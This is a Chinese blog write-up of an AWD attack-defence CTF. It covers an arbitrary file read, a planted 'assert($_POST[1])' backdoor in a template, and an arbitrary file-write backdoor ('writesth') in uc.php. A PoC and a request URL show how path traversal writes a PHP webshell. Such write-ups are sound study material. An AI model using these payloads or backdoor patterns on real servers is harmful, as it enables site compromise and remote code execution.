• 某线下赛AWD


    拿别人比赛的来玩一下,或许这就是菜的力量吧。

    0x01 任意文件读取:

     1 switch ($row['media_type']) {
     2             case 0: // 图片广告
     3                 ......
     4                 break;
     5             case 2: // CODE
     6                 $ads[] = $row['ad_code'];
     7                 break;
     8             case 3: // TEXT
     9                 $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
    10                 target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
    11                 break;
    12             case 4: // url
    13                 $ads[] = file_get_contents($_POST['url']);
    14         }

    至于调用这个的具体的代码没有发出来所以具体的调用链也没办法写出来,只能简单复现一下。

    其实这个测试就不用测试了,太low了可能只是调用链的问题,不然没有难度。

    看文章里的URL调用链是这样的

      https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s

    需要switch 4的时候才出发漏洞。这里分享一个tips可以通过功能去找到调用链。不用再一个去拼接URL,可能对于我这样的菜鸡还是有点难度。

    0x02 官方后门

      官方提示auction_list.dwt文件

      然后通过sublime快速索引这个文件。得到如下文件。

        <div class="con">{:assert($_POST[1])}找到一个马

      至于怎么利用很尴尬,具体文件没发出来,很蛋疼。对了,这个是dwt文件,经过百度科普dwt是网页模板文件。

    0x03 任意文件写入mobile/api/uc.php

      有那么一个action数组

     1 if (in_array($get['action'], array(
     2     'test',
     3     'deleteuser',
     4     'renameuser',
     5     'gettag',
     6     'synlogin',
     7     'synlogout',
     8     'updatepw',
     9     'updatebadwords',
    10     'updatehosts',
    11     'updateapps',
    12     'updateclient',
    13     'updatecredit',
    14     'getcreditsettings',
    15     'updatecreditsettings',
    16     'writesth'
    17 )))

    作者说一眼就看穿了writesth是官方留下的后门,或许这就是优秀吧。

    我是看不出来。

    然后找到了这个函数。

    function writesth($get, $post){
            $cachefile = $this->appdir .$get['name'];
            $fp = fopen($cachefile, 'w');
            $s = "<?phprn";
            $s .= $get['content'];
            fwrite($fp, $s);
            fclose($fp);
            return API_RETURN_SUCCEED;
        }

    然后很明显可以看出文件名以及内容都是可控的,但是文件名多了一个$this->appdir。这个无碍,可以通过/../进行跨目录。

    然后写了一个测试的代码:

    <?php 
    class test
    {
        function writesth($get){
            $cachefile = "xx".$get['name'];
            $fp = fopen($cachefile, 'w');
            $s = "<?phprn";
            $s .= $get['content'];
            fwrite($fp, $s);
            fclose($fp);
            echo "success";
        }
    }
    $data = new test();
    $data ->writesth(array("name"=>"/../shell.php","content"=>"><?php echo 'this is webshell';?>"));
     ?>

    在写shell的时候需要对<?phprn闭合。

    什么?怎么写批量脚本?你看哪里有使用到writesth到的不就OK。还是不会写???

      就这样:1270.0.1/index.php?id=t.php?id[name]=./../shell.php&id[content]=?><?php echo "this is phpshell"?>

    0x04 一些SQL注入

      注入感觉在AWD中玩的并不是那么顺,大多数应该都是报错型的。套路也就那几个。

  • 相关阅读:
    创业者要有杀手气质和传教士能力
    一次只专心地做一件事,全身心地投入并积极地希望它成功
    以变应变,才有出路
    得到的并不一定就值得庆幸,失去的也并不完全是坏事情
    独处可以激发思考的力量
    把情感装入理性之盒
    随着现实的变化,我们必须随之调整自己的观念、思想、行动及目标
    岁月在变迁,彼此在成长。而我在流浪
    [TJOI 2016&HEOI 2016]排序
    [HAOI 2008]糖果传递
  • 原文地址:https://www.cnblogs.com/nul1/p/9581259.html
Copyright © 2020-2023  润新知